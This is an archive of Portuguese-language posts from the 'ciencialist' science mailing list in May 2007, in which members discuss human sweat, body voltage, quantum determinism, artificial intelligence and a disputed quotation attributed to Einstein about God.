Para: "leobarretos" <leobarretos@uol.com.br>
Enviada em: quarta-feira, 9 de maio de 2007 21:18
Assunto: Dúvida sobre a composição do suor humano


Professor

Boa noite

Consegui seu email através do "Oráculo" Google.
Gostaria de tirar uma dúvida sobre a composição do suor humano.
Ele é composto basicamente de água+cloreto de sódio?
Apesar de estar perguntando isso, não sou estudante de química. Muito pelo
contrário, sou designer gráfico. É que tenho que fazer um trabalho e tive uma
idéia de mencionar o suor humano.

Se puder me dar essa força, lhe agradeço.

Abraço

Frederico



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SUBJECT: Re: [ciencialist] [RN] A PROVA DOS NOVE (OU NOVES FORA)
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 11/05/2007 13:04

Gostei da 'adivinhação no final do artigo. Legal!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 10 de maio de 2007 19:21
Assunto: [ciencialist] [RN] A PROVA DOS NOVE (OU NOVES FORA)


Matemática: Na falta de calculadora: use a prova dos noves!
http://www1.folha.uol.com.br/folha/educacao/ult305u14300.shtml
--------------------------
[]s,

Roberto Takata




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SUBJECT: Re: RES: [ciencialist] A idéia que Einstein fazia de Deus
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 11/05/2007 13:06

A 'intuição' foi desenvolvida depois de muita 'ginástica' cerebral. Atenção acurada, observação, pano de fundo, o que está procurando, o lastro na cuca ... o suor ... depois vem a intuição --- o chute de gênio!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "murilo filo" <avalanchedrive@hotmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 10 de maio de 2007 22:18
Assunto: RE: RES: [ciencialist] A idéia que Einstein fazia de Deus


Oi, rapazes!
Pergunto: e a intuição?
obr/abr M. SP 10/mai07


>From: "J.Victor" <j.victor.neto@uol.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <ciencialist@yahoogrupos.com.br>
>Subject: RES: [ciencialist] A idéia que Einstein fazia de Deus
>Date: Wed, 9 May 2007 19:22:12 -0300
>
>Sílvio,
>
>
>
>Acho que é folclore. Dizem muita coisa envolvendo Einstein e outros ícones
>de se quilate, atribuindo-lhes comportamentos dissociados do comum de nós
>outros, envolvendo-os numa redoma de mistério e certo glamour.
>
>Poincaré foi um dos maiores e mais profícuos matemáticos de todos os
>tempos,
>não só da época dele.
>
>Contudo, dizem alguns historiadores, que ele era desajeitado para fazer
>contas simples, não gostava,
>
>evitava, errava, confundia, embora pudesse manejar, de cabeça, grandes
>blocos matemáticos, como matrizes ou estruturas topológicas, do que não
>tenho conhecimento a não ser a nível de "notícias", por ser muito
>especializado e específico, tratando-se de um ramo da matemática
>extremamente difícil e abstrato.
>
>Já disseram, entre outras histórias, que um dia Einstein vinha pelo
>corredor da universidade e, de repente, parou e perguntou a um estudante
>que passava: o restaurante fica prá lá ou para ali? À resposta de "para
>ali", ele disse: ah, então já almocei, e seguiu adiante!?.... Mas essa
>mesma história contavam de um professor que conhecí, de física, cujo nome
>não me é conveniente citar. E eu sabia que de besta e exótico este nada
>tinha, a não ser que era um notório traçador de estudantes mais bonitinhas
>e
>atiradas, que lhe apontavam algumas possibilidades. Mas era um excelente
>professor, famoso por suas aulas e temido pelo rigor na correção das
>provas.
>
>
>Particularmente não acredito que essas pessoas muito inteligentes sejam tão
>idiotas a esse ponto, nem desligados, nem alheios a si próprios, coisas do
>tipo. Têm apenas uma coisa a mais que a maioria dos mortais: um cérebro
>mais
>gordinho de neurônios e sinapses mais arrumadinhas. Só isso. Só isso? Pois
>bem... Folclore, criado pelos circunstantes, para terem o que conversar,
>espantar ou maravilhar o ouvinte. Parece que as pessoas gostam de uns
>enfeites, em torno do objeto de sua admiração. Froidi explica.
>
>
>
>Sds,
>
>Victor.
>
>
>
>De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
>Em nome de Silvio Cordeiro
>Enviada em: quarta-feira, 9 de maio de 2007 16:43
>Para: ciencialist@yahoogrupos.com.br
>Assunto: Re: [ciencialist] A idéia que Einstein fazia de Deus
>
>
>
>Ô Vitor:
>
>Você me fez lembrar um fato, muito comentado nas biografias de Einstein
>que,
>numa bela tarde de sol, sentado em um banco de jardim, ele divagava pelo
>universo quando seu neto pediu uma ajuda para resolver um problema de
>aritimética: Ele chamou a mãe do menino e pediu auxílio a ela, pois não
>entendia o problema....
>
>boa tarde,
>
>silvio.
>----- Original Message -----
>From: J.Victor
>To: ciencialist@yahoogrupos.com.br
><mailto:ciencialist%40yahoogrupos.com.br>
>
>Sent: Monday, May 07, 2007 3:08 PM
>Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus
>
>Sílvio,
>
>O gritou que escreví não é um gritoooou!. É um gritou fuleiro, bem
>baixinho,
>quase sussurando. Se brincar, nem isso. .
>Contudo, a bem da verdade, nunca lí em lugar nenhum que ele tenha se
>expressado do jeito postado aquí. O que ele professava
>era uma religiosidade peba, à moda de Spinoza, como bem lembrou o Bulcão.
>Quanto a "era calmo, pacífico, muito humor... "
>você tem razão.
>
>Sds,
>Victor.
>
>----- Original Message -----
>From: Silvio Cordeiro
>To: ciencialist@yahoogrupos.com.br
><mailto:ciencialist%40yahoogrupos.com.br>
>
>Sent: Monday, May 07, 2007 10:12 AM
>Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus
>
>Vitor:
>
>Reservo-me o direito de duvidar que o grande mestre tenha gritado. Não era
>do seu feitio: era calmo, pacífico, muito humor... Leia suas biografias.
>Sobre deus, não entro no mérito.
>
>bom dia,
>
>silvio.
>3
>----- Original Message -----
>From: J.Victor
>To: ciencialist@yahoogrupos.com.br
><mailto:ciencialist%40yahoogrupos.com.br>
>
>Sent: Sunday, May 06, 2007 9:53 PM
>Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus
>
>Olá,
>
>Einstein gritou: *«A opinião comum de que devo ser ateu repousa sobre grave
>erro. Quem a
>pretende deduzir de minhas teorias científicas não as entendeu. Creio num
>Deus pessoal e posso dizer-lhes que, nunca, em minha vida, cedi a uma
>ideologia ateia.
>
>Victor: ...Também niguém é perfeito.
>
>Sds,
>
>Victor.
>
>----- Original Message -----
>From: Esteban Moreno
>To: undisclosed-recipients:
>Sent: Sunday, May 06, 2007 8:45 PM
>Subject: [ciencialist] A idéia que Einstein fazia de Deus
>
>A idéia que Einstein fazia de Deus
><http://www.ansiao.net/einstein.jpg>
>
>*«A opinião comum de que devo ser ateu repousa sobre grave erro. Quem a
>pretende deduzir de minhas teorias científicas não as entendeu. Creio num
>Deus pessoal e posso dizer-lhes que, nunca, em minha vida, cedi a uma
>ideologia ateia.
>
>Não há oposição entre a ciência e a religião.
>Apenas há cientistas atrasados, que professam ideias que datam de 1880.
>
>Aos dezoito anos, eu já considerava as teorias sobre o evolucionismo
>mecanicista e casualista como irremediavelmente antiquadas.
>
>No interior do átomo não reinam a harmonia e a regularidade que esses
>cientistas costumam pressupor. Nele se depreendem apenas leis prováveis,
>formuladas na base de estatísticas reformáveis. Ora, essa indeterminação,
>no
>plano da matéria, abre lugar à intervenção de uma Causa, que produza o
>equilíbrio e a harmonia dessas reações dissemelhantes e contraditórias da
>matéria.
>
>Há, porém, várias maneiras de se representar Deus. Alguns o representam
>como
>o Deus mecânico, que intervém no mundo para modificar as leis da natureza e
>o curso dos acontecimentos. Querem pô-lo ao seu serviço, por meio de
>fórmulas mágicas. É o Deus de certos primitivos, antigos ou modernos.
>Outros
>o representam como o Deus jurídico, legislador e agente policial da
>moralidade, que impõe o medo e estabelece distâncias. Outros, enfim, como o
>Deus interior, que dirige por dentro todas as coisas e que se revela aos
>homens no mais íntimo da consciêncía.
>-
>A mais bela e profunda emoção que se pode experimentar é a sensação do
>místico. Este é o semeador da verdadeira ciência. Aquele a quem seja
>estranha tal sensação, aquele que não mais possa sonhar e ser empolgado
>pelo
>encantamento, não passa, em verdade, de um morto.
>
>Saber que realmente existe aquilo que é impenetrável a nós, e que se
>manifesta como a mais alta das sabedorias; a mais radiosa das belezas, que
>as nossas faculdades embotadas só podem entender em suas formas mais
>primitivas: esse conhecimento, esse sentimento, está no centro mesmo da
>verdadeira religiosidade.
>
>A experiência cósmica religiosa é a mais forte e a mais nobre fonte de
>pesquisa científica. Minha religião consiste em humilde admiração do
>espírito superior e ilimitado que se revela nos menores detalhes que
>podemos
>perceber em nossos espíritos frágeis e incertos. Essa convicção,
>profundamente emocional na presença de um poder racionalmente superior, que
>se revela* no* incompreensível, é a ideia que faço de Deus».*
>
>[As partes desta mensagem que não continham texto foram removidas]
>
>[As partes desta mensagem que não continham texto foram removidas]
>
>----------------------------------------------------------
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>Checked by AVG Free Edition.
>Version: 7.5.467 / Virus Database: 269.6.5/792 - Release Date: 6/5/2007
>21:01
>
>[As partes desta mensagem que não continham texto foram removidas]
>
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>Version: 7.5.467 / Virus Database: 269.6.5/792 - Release Date: 6/5/2007
>21:01
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SUBJECT: Re: [ciencialist] A idéia que Einstein fazia de Deus
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 11/05/2007 13:47

Caro Silvio,

Os arquivos de Einstein estão sendo abertos e documentados aos poucos. Como
a vida profissional dele já é conhecida em detalhes há tempos, restam apenas
detalhes sobre a vida pessoal. E, nesse aspecto, nada de "bom" pode ser
acrescentado, sobre ele ou qualquer outra pessoa.

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, May 11, 2007 12:02 AM
Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus


Álvaro:

O fundamental é saber se essas "descobertas biográficas" são consistentes ou
têm veracidade comprovada: Os mitólogos vivem avaros de novidades,
normalmente em detrimento, muito raramente em homenagem aos grandes
personagens de nosso mundo....

boa noite,
silvio.
----- Original Message -----
From: Alvaro Augusto (L)
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 08, 2007 10:45 AM
Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus


Caro Murilo,

Apenas atestei um fato, sem anexar juízo moral algum. Einstein é um dos
heróis da minha adolescência. Ainda assim, o fato de descobertas
biográficas
recentes terem-no tornado mais humano é para mim um alívio, não um pesar.

[ ]s

Alvaro Augusto

----- Original Message -----
From: "murilo filo" <avalanchedrive@hotmail.com>
To: <ciencialist@yahoogrupos.com.br>
Cc: <avalanchedrive@hotmail.com>
Sent: Monday, May 07, 2007 10:20 PM
Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus

> Com certeza, gritava!
> A Elsa, ou um outro qualquer... deviam encher o saco... what's the deal?
O
> homem estava vivo e tinha uma puta energia...
> Com certeza, até o Ghandi gritava... e daí?
> Vc não grita? Ou vc já está meio morto?
> Quem pode enquadrar esse homem, que afinal era judeu?
> O que mais ele tinha? Caspa? Quanta coisa imperdoável, não?
> abr/M.
>
>
>>From: "Alvaro Augusto (L)" <alvaro@lunabay.com.br>
>>Reply-To: ciencialist@yahoogrupos.com.br
>>To: <ciencialist@yahoogrupos.com.br>
>>Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus
>>Date: Mon, 7 May 2007 13:31:51 -0300
>>
>>De acordo com Elsa Einstein, quando Albert gritava a casa inteira
ouvia...
>>
>>[ ]s
>>
>>Alvaro Augusto
>>
>>
>>----- Original Message -----
>>From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
>>To: <ciencialist@yahoogrupos.com.br>
>>Sent: Monday, May 07, 2007 10:12 AM
>>Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus
>>
>>
>>Vitor:
>>
>>Reservo-me o direito de duvidar que o grande mestre tenha gritado. Não
era
>>do seu feitio: era calmo, pacífico, muito humor... Leia suas biografias.
>>Sobre deus, não entro no mérito.
>>
>>bom dia,
>>
>>silvio.
>>3
>> ----- Original Message -----
>> From: J.Victor
>> To: ciencialist@yahoogrupos.com.br
>> Sent: Sunday, May 06, 2007 9:53 PM
>> Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus
>>
>>
>> Olá,
>>
>> Einstein gritou: *«A opinião comum de que devo ser ateu repousa sobre
>>grave erro. Quem a
>> pretende deduzir de minhas teorias científicas não as entendeu. Creio
>>num
>> Deus pessoal e posso dizer-lhes que, nunca, em minha vida, cedi a uma
>> ideologia ateia.
>>
>> Victor: ...Também niguém é perfeito.
>>
>> Sds,
>>
>> Victor.
>>
>> ----- Original Message -----
>> From: Esteban Moreno
>> To: undisclosed-recipients:
>> Sent: Sunday, May 06, 2007 8:45 PM
>> Subject: [ciencialist] A idéia que Einstein fazia de Deus
>>
>> A idéia que Einstein fazia de Deus
>> <http://www.ansiao.net/einstein.jpg>
>>
>> *«A opinião comum de que devo ser ateu repousa sobre grave erro. Quem a
>> pretende deduzir de minhas teorias científicas não as entendeu. Creio
>>num
>> Deus pessoal e posso dizer-lhes que, nunca, em minha vida, cedi a uma
>> ideologia ateia.
>>
>> Não há oposição entre a ciência e a religião.
>> Apenas há cientistas atrasados, que professam ideias que datam de 1880.
>>
>> Aos dezoito anos, eu já considerava as teorias sobre o evolucionismo
>> mecanicista e casualista como irremediavelmente antiquadas.
>>
>> No interior do átomo não reinam a harmonia e a regularidade que esses
>> cientistas costumam pressupor. Nele se depreendem apenas leis
>> prováveis,
>> formuladas na base de estatísticas reformáveis. Ora, essa
>>indeterminação,
>>no
>> plano da matéria, abre lugar à intervenção de uma Causa, que produza o
>> equilíbrio e a harmonia dessas reações dissemelhantes e contraditórias
>>da
>> matéria.
>>
>> Há, porém, várias maneiras de se representar Deus. Alguns o representam
>>como
>> o Deus mecânico, que intervém no mundo para modificar as leis da
>>natureza
>>e
>> o curso dos acontecimentos. Querem pô-lo ao seu serviço, por meio de
>> fórmulas mágicas. É o Deus de certos primitivos, antigos ou modernos.
>>Outros
>> o representam como o Deus jurídico, legislador e agente policial da
>> moralidade, que impõe o medo e estabelece distâncias. Outros, enfim,
>>como
>>o
>> Deus interior, que dirige por dentro todas as coisas e que se revela
>> aos
>> homens no mais íntimo da consciêncía.
>> -
>> A mais bela e profunda emoção que se pode experimentar é a sensação do
>> místico. Este é o semeador da verdadeira ciência. Aquele a quem seja
>> estranha tal sensação, aquele que não mais possa sonhar e ser empolgado
>>pelo
>> encantamento, não passa, em verdade, de um morto.
>>
>> Saber que realmente existe aquilo que é impenetrável a nós, e que se
>> manifesta como a mais alta das sabedorias; a mais radiosa das belezas,
>>que
>> as nossas faculdades embotadas só podem entender em suas formas mais
>> primitivas: esse conhecimento, esse sentimento, está no centro mesmo da
>> verdadeira religiosidade.
>>
>> A experiência cósmica religiosa é a mais forte e a mais nobre fonte de
>> pesquisa científica. Minha religião consiste em humilde admiração do
>> espírito superior e ilimitado que se revela nos menores detalhes que
>>podemos
>> perceber em nossos espíritos frágeis e incertos. Essa convicção,
>> profundamente emocional na presença de um poder racionalmente superior,
>>que
>> se revela* no* incompreensível, é a ideia que faço de Deus».*
>>
>> [As partes desta mensagem que não continham texto foram removidas]
>>
>> [As partes desta mensagem que não continham texto foram removidas]




SUBJECT: Re: [ciencialist] Fw: Informação
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 11/05/2007 14:56

Quantos aos outros, não sei, mas eu sou 220 V. E trifásico!

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: "ciencialist" <ciencialist@yahoogrupos.com.br>
Sent: Friday, May 11, 2007 12:45 PM
Subject: [ciencialist] Fw: Informação


E ... o que respondo?
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "luiz Claudio da Silva souza" <luizsouzaluiz@hotmail.com>
Para: <leobarretos@uol.com.br>
Enviada em: quinta-feira, 10 de maio de 2007 15:51
Assunto: Informação


|
|
| Professor , gostaria de saber qual é a tensão elétrica do corpo do homem
e
| da mulher?
|
| Aguardo resposta.
|
| Luiz
|
| _________________________________________________________________



SUBJECT: Re: [ciencialist] A idéia que Einstein fazia de Deus
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 11/05/2007 15:31

Vitor:

É uma característica humana o ato de impingir às pessoas que se projetam em suas atividas, qualidades extravagantes, fora co comportamento do comum dos mortais. O caso do neto li na biografia dele e é crível pois curiosamente a aritimética - só ouvi falar nos tempos de ginário - tem problemas intrigantes de tão simples, como a regra de três...
Mas também, essas fofocas não um "grano salis" ao nosso dia-a-dia..... Você não imagina o que falavam do Getúlio Vargas...(foi meu ídolo na infância....)

uma boa tarde,

silvio.
----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, May 09, 2007 7:22 PM
Subject: RES: [ciencialist] A idéia que Einstein fazia de Deus


Sílvio,

Acho que é folclore. Dizem muita coisa envolvendo Einstein e outros ícones
de se quilate, atribuindo-lhes comportamentos dissociados do comum de nós
outros, envolvendo-os numa redoma de mistério e certo glamour.

Poincaré foi um dos maiores e mais profícuos matemáticos de todos os tempos,
não só da época dele.

Contudo, dizem alguns historiadores, que ele era desajeitado para fazer
contas simples, não gostava,

evitava, errava, confundia, embora pudesse manejar, de cabeça, grandes
blocos matemáticos, como matrizes ou estruturas topológicas, do que não
tenho conhecimento a não ser a nível de "notícias", por ser muito
especializado e específico, tratando-se de um ramo da matemática
extremamente difícil e abstrato.

Já disseram, entre outras histórias, que um dia Einstein vinha pelo
corredor da universidade e, de repente, parou e perguntou a um estudante
que passava: o restaurante fica prá lá ou para ali? À resposta de "para
ali", ele disse: ah, então já almocei, e seguiu adiante!?.... Mas essa
mesma história contavam de um professor que conhecí, de física, cujo nome
não me é conveniente citar. E eu sabia que de besta e exótico este nada
tinha, a não ser que era um notório traçador de estudantes mais bonitinhas e
atiradas, que lhe apontavam algumas possibilidades. Mas era um excelente
professor, famoso por suas aulas e temido pelo rigor na correção das provas.

Particularmente não acredito que essas pessoas muito inteligentes sejam tão
idiotas a esse ponto, nem desligados, nem alheios a si próprios, coisas do
tipo. Têm apenas uma coisa a mais que a maioria dos mortais: um cérebro mais
gordinho de neurônios e sinapses mais arrumadinhas. Só isso. Só isso? Pois
bem... Folclore, criado pelos circunstantes, para terem o que conversar,
espantar ou maravilhar o ouvinte. Parece que as pessoas gostam de uns
enfeites, em torno do objeto de sua admiração. Froidi explica.

Sds,

Victor.

De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Silvio Cordeiro
Enviada em: quarta-feira, 9 de maio de 2007 16:43
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] A idéia que Einstein fazia de Deus

Ô Vitor:

Você me fez lembrar um fato, muito comentado nas biografias de Einstein que,
numa bela tarde de sol, sentado em um banco de jardim, ele divagava pelo
universo quando seu neto pediu uma ajuda para resolver um problema de
aritimética: Ele chamou a mãe do menino e pediu auxílio a ela, pois não
entendia o problema....

boa tarde,

silvio.
----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br <mailto:ciencialist%40yahoogrupos.com.br>

Sent: Monday, May 07, 2007 3:08 PM
Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus

Sílvio,

O gritou que escreví não é um gritoooou!. É um gritou fuleiro, bem baixinho,
quase sussurando. Se brincar, nem isso. .
Contudo, a bem da verdade, nunca lí em lugar nenhum que ele tenha se
expressado do jeito postado aquí. O que ele professava
era uma religiosidade peba, à moda de Spinoza, como bem lembrou o Bulcão.
Quanto a "era calmo, pacífico, muito humor... "
você tem razão.

Sds,
Victor.

----- Original Message -----
From: Silvio Cordeiro
To: ciencialist@yahoogrupos.com.br <mailto:ciencialist%40yahoogrupos.com.br>

Sent: Monday, May 07, 2007 10:12 AM
Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus

Vitor:

Reservo-me o direito de duvidar que o grande mestre tenha gritado. Não era
do seu feitio: era calmo, pacífico, muito humor... Leia suas biografias.
Sobre deus, não entro no mérito.

bom dia,

silvio.
3
----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br <mailto:ciencialist%40yahoogrupos.com.br>

Sent: Sunday, May 06, 2007 9:53 PM
Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus

Olá,

Einstein gritou: *«A opinião comum de que devo ser ateu repousa sobre grave
erro. Quem a
pretende deduzir de minhas teorias científicas não as entendeu. Creio num
Deus pessoal e posso dizer-lhes que, nunca, em minha vida, cedi a uma
ideologia ateia.

Victor: ...Também niguém é perfeito.

Sds,

Victor.

----- Original Message -----
From: Esteban Moreno
To: undisclosed-recipients:
Sent: Sunday, May 06, 2007 8:45 PM
Subject: [ciencialist] A idéia que Einstein fazia de Deus

A idéia que Einstein fazia de Deus
<http://www.ansiao.net/einstein.jpg>

*«A opinião comum de que devo ser ateu repousa sobre grave erro. Quem a
pretende deduzir de minhas teorias científicas não as entendeu. Creio num
Deus pessoal e posso dizer-lhes que, nunca, em minha vida, cedi a uma
ideologia ateia.

Não há oposição entre a ciência e a religião.
Apenas há cientistas atrasados, que professam ideias que datam de 1880.

Aos dezoito anos, eu já considerava as teorias sobre o evolucionismo
mecanicista e casualista como irremediavelmente antiquadas.

No interior do átomo não reinam a harmonia e a regularidade que esses
cientistas costumam pressupor. Nele se depreendem apenas leis prováveis,
formuladas na base de estatísticas reformáveis. Ora, essa indeterminação, no
plano da matéria, abre lugar à intervenção de uma Causa, que produza o
equilíbrio e a harmonia dessas reações dissemelhantes e contraditórias da
matéria.

Há, porém, várias maneiras de se representar Deus. Alguns o representam como
o Deus mecânico, que intervém no mundo para modificar as leis da natureza e
o curso dos acontecimentos. Querem pô-lo ao seu serviço, por meio de
fórmulas mágicas. É o Deus de certos primitivos, antigos ou modernos. Outros
o representam como o Deus jurídico, legislador e agente policial da
moralidade, que impõe o medo e estabelece distâncias. Outros, enfim, como o
Deus interior, que dirige por dentro todas as coisas e que se revela aos
homens no mais íntimo da consciêncía.
-
A mais bela e profunda emoção que se pode experimentar é a sensação do
místico. Este é o semeador da verdadeira ciência. Aquele a quem seja
estranha tal sensação, aquele que não mais possa sonhar e ser empolgado pelo
encantamento, não passa, em verdade, de um morto.

Saber que realmente existe aquilo que é impenetrável a nós, e que se
manifesta como a mais alta das sabedorias; a mais radiosa das belezas, que
as nossas faculdades embotadas só podem entender em suas formas mais
primitivas: esse conhecimento, esse sentimento, está no centro mesmo da
verdadeira religiosidade.

A experiência cósmica religiosa é a mais forte e a mais nobre fonte de
pesquisa científica. Minha religião consiste em humilde admiração do
espírito superior e ilimitado que se revela nos menores detalhes que podemos
perceber em nossos espíritos frágeis e incertos. Essa convicção,
profundamente emocional na presença de um poder racionalmente superior, que
se revela* no* incompreensível, é a ideia que faço de Deus».*

[As partes desta mensagem que não continham texto foram removidas]

[As partes desta mensagem que não continham texto foram removidas]

----------------------------------------------------------

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[As partes desta mensagem que não continham texto foram removidas]

[As partes desta mensagem que não continham texto foram removidas]

----------------------------------------------------------

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Version: 7.5.467 / Virus Database: 269.6.5/792 - Release Date: 6/5/2007
21:01

[As partes desta mensagem que não continham texto foram removidas]

[As partes desta mensagem que não continham texto foram removidas]






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Determinismo e incerteza
FROM: "Jeff" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 11/05/2007 15:56


Olá Alberto,

Eu não conheço bem estas interpretações da mecânica quântica, mas entendo
que não é possível existir aleatoriedade objetiva em um sistema fechado! Ou
estou errado? Eu acredito na falta de conhecimento de variáveis que podem
determinar certos comportamentos quânticos e na prepotência de cientistas em
afirmarem que não. Eu não estudo física, mas tudo (pouco) o que eu lí a
respeito não dá *provas* da aleatoriedade objetiva de certos comportamentos
quânticos, mas apenas a impossibilidade de medição... Entendo que não poder
medir não significa não existir.

Se existir um raciocínio lógico que conclua que é possível acontecer alguma
coisa sem causa, eu gostaria de entendê-lo!

[]´,s
Jeff.

>
> From: "rmtakata"
> Sent: Saturday, April 14, 2007 11:10 PM
> Subject: [ciencialist] Re: Determinismo e incerteza
>
>> Um cara chamado John Bell bolou um teorema matemática q previa resultados
>> diferentes para ambas as situações. Décadas depois, a chamada inequação
>> de
>> Bell foi usada e o resultado dos experimentos batiam com a interpretação
>> de Copenhagen.
>
> Neste caso solicito a alguém que responda à msg que mandei para a
> Ciencialist em 21 de maio de 2000 e que cujas idéias apresentadas até
> agora
> não mereceram nenhuma atenção. A msg pode ser lida em
> http://www.ecientificocultural.com/ECC2/Dialogos/varios/ci4790.htm ou em
> http://br.groups.yahoo.com/group/ciencialist/message/4790 . O restante da
> thread pode ser lido a partir de
> http://www.ecientificocultural.com/ECC2/Dialogos/tra.htm .
>
> Até que tal suceda, e sem pretender ofender a ninguém, volto a apresentar
> a
> conclusão firmada no artigo primeiro desta thread: "As idéias de Bell, em
> hipótese alguma, contradizem as teorias clássicas da física e a
> experiência
> de Aspect, quando muito, serve como critério para escolha entre o roto e o
> esfarrapado, qual seja, entre as teorias quânticas locais e as teorias
> quânticas não-locais."
>
> [ ]´s
> Alberto
>



SUBJECT: Re: [ciencialist] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 11/05/2007 15:56

R. C. A. Victor:

(ainda existe o cachorrinho???

Então estamos quites, não foi legal pois gosto de escrever e agora o assunto amofinou....
A inteligência artifical é um sofisma pois inteligência não pode ser criada: ela é apenas o produto da interatividade de neurônios.
Assim, vão ter de criar neurônios adrede preparados para que não tenham "idéias de jerico" e que, só processarão ações de acôrdo com sua programação.
Se algum dia fizerem os neurônios artificiais e em quantidades semelhantes aos de um primata, pode saber: vamos ter problemas, caso tenham total liberdade de, assimilando informações do meio ambiente pelos 5 sentidos (como nós, humanos), processarem essas informações ao seu talante (o que produz a inteligência que é artificial pois é fruto do trabalho humano.)

Estamos conversados.

boa tarde,

silvio.


Jovem Sílvio,

Em minhas prosopéias, em nenhum momento, em situação alguma, cogitei ou
cogito de algo como "colocar um deus qualquer no processo cognitivo." Até
em razão de essa entendidade, para mim, claro, ser um folclore, que
resultou do medo da morte e da sabedoria daqueles primeiros que se
intitularam sacerdotes, que viram nisso a ilha do tesouro e os mapas
pertinentes. Discernimento, inteligência, saber que sabe, nada disso tem a
ver com divindades, seres superiores ou inferiores que, sequer, são
superiores ou inferiores. Consciência e vida, eis a questão. Disso,
continuamos, garbosamente, sabendo nada. And so on.

Sds,

Victor.

De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Silvio Cordeiro
Enviada em: quarta-feira, 9 de maio de 2007 18:39
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO

Meu amigo Vitor:
Se exagerei, perdoe: apenas não concordo, por convidções pessoas e ausência
de elementos consistentes para as possa assimilar, colocar um deus qualquer
no processo cognitivo.

boa noite!!

silvio.
----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br <mailto:ciencialist%40yahoogrupos.com.br>

Sent: Tuesday, May 08, 2007 6:16 AM
Subject: Re: [ciencialist] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO

Sílvio,

Honestamente, não ví onde mistura foi feita. Mas pode desmisturar, na
próxima irei asperizar o caminho,
para não deslizar.
Tudo que você disse está ok. Não importa a capacidade de memória, que um
desses possa ter, para guardar
dados, executando qualquer sequência de comandos, usando estes dados.
Meu ponto está nisto: discernimento! Como tentei exprimir com exemplos. Mais
um exemplo: este que você exercitou, ao ler meu texto, e dele extrair
munição para este seu texto, com uma interpretação absolutamente pessoal.
Um SílvBorg faria algo assim, sequer aproximado? I not cridito. Seria apenas
por causa de
minhas limitações, esse jeito de pensar? Sei não, sei não.

Sds,
Victor.

----- Original Message -----
From: Silvio Cordeiro
To: ciencialist@yahoogrupos.com.br <mailto:ciencialist%40yahoogrupos.com.br>

Sent: Monday, May 07, 2007 3:52 PM
Subject: Re: [ciencialist] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO

Victor:

Sua argumentação apresenta só um deslise: você está misturando um conceito
religioso, inexistente - deus - na diligência humana.

Observe que, desde Tales o homem ocidental se preocupa em observar a
natureza e dela extrair conhecimentos para auxiliá-lo em suas lides.
Neste século, a robótica tem grande expansão, é patéria de curriculo
escolar, em alguns anos alcançará patamares insususpeitáveis, principalmente
com os sofisticados equipamentos existentes, como o CERN na Europa.
Tudo reside em o homem criar um elemento físico ou mesmo orgânico semelhante
aos neurônios que tem dupla função: guardam as informações que o indivíduo
assimina mesmo subjetivamente do meio ambiente, por meio dos sentidos e
posteriormente poder usar esses elementos arquivados em idéias para criação
de outros elementos (deveríamos, filosóficamente chamar simplesmente de
"coisas":).
Está matada a charada. coisa muito simples,,,,
Mas, observe, tais robôs deverão, no início, serem construidos para
atividades específicas como hoje já trabalham na indústria, sem forma
humana: tudo acontece gradativamente, ao longo do tempo de existência dos
humanos. É preciso aguardar e colocar a moçada no estudo.

quem sabe, um dia.....

